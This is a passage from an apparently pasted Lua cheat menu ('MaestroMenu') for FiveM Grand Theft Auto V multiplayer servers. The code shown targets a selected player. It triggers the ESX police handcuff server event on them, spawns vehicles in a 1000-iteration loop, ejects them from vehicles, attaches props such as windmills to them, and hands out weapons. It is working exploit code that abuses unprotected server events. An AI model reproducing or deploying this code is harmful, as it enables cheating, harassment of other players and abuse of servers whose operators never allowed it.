  2735. elseif MaestroMenu.MenuButton("~w~Weapon Menu", "SingleWepPlayer") then
  2736. elseif MaestroMenu.Button("~w~Spawn Vehicle") then
  2737. local ped = GetPlayerPed(SelectedPlayer)
  2738. a=1 repeat TriggerEvent('esx:spawnVehicle', "fmj") a=a+1 until (a>1000)
  2739. elseif MaestroMenu.Button("~w~Cuff ~g~ESX") then
  2740. TriggerServerEvent("esx_policejob:handcuff", GetPlayerPed(SelectedPlayer))
  2741. elseif MaestroMenu.Button("~w~Kick Vehicle") then
  2742. ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
  2743. elseif MaestroMenu.Button("~r~Tunnel ~w~Player") then -- Tunnel Player
  2744. local eb = "xs_prop_chips_tube_wl"
  2745. local ec = GetHashKey(eb)
  2746. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2747. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  2748. elseif MaestroMenu.Button("~r~Bottle ~w~Player") then -- Bottle Player
  2749. local eb = "xs_prop_plastic_bottle_wl"
  2750. local ec = GetHashKey(eb)
  2751. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2752. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  2753. elseif MaestroMenu.Button("~r~Ufo ~w~Player") then -- Ufo Player
  2754. local eb = "p_spinning_anus_s"
  2755. local ec = GetHashKey(eb)
  2756. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2757. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  2758. elseif MaestroMenu.Button("~r~Windmill ~w~Player") then -- Windmill Player
  2759. local eb = "prop_windmill_01"
  2760. local ec = GetHashKey(eb)
  2761. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2762. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  2763. elseif MaestroMenu.Button("~r~Weed ~w~Player") then -- Weed Player
  2764. local eb = "prop_weed_01"
  2765. local ec = GetHashKey(eb)
  2766. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  2767. AttachEntityToEntity(ed, GetPlayerPed(SelectedPlayer), GetPedBoneIndex(GetPlayerPed(SelectedPlayer), 0), 0, 0, -1.0, 0.0, 0.0, 0, true, true, false, true, 1, true)
  2768. end
  2769.  
  2770.  
  2771.  
  2772.  
  2773. MaestroMenu.Display()
  2774. elseif MaestroMenu.IsMenuOpened("SingleWepPlayer") then
  2775. for i = 1, #allWeapons do
  2776. if MaestroMenu.Button(allWeapons[i]) then
  2777. GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(allWeapons[i]), 1000, false, true)
  2778. end
  2779. end
  2780.  
  2781. MaestroMenu.Display()
  2782. elseif IsDisabledControlPressed(0, 11) then
  2783. MaestroMenu.OpenMenu("MainMenu")
  2784. end
  2785.  
  2786. Citizen.Wait(0)
  2787. end
  2788. end
  2789. )
  2790.  
  2791. RegisterCommand("killmenu", function(source,args,raw)
  2792. Enabled = false
  2793. end, false)
RAW Paste Data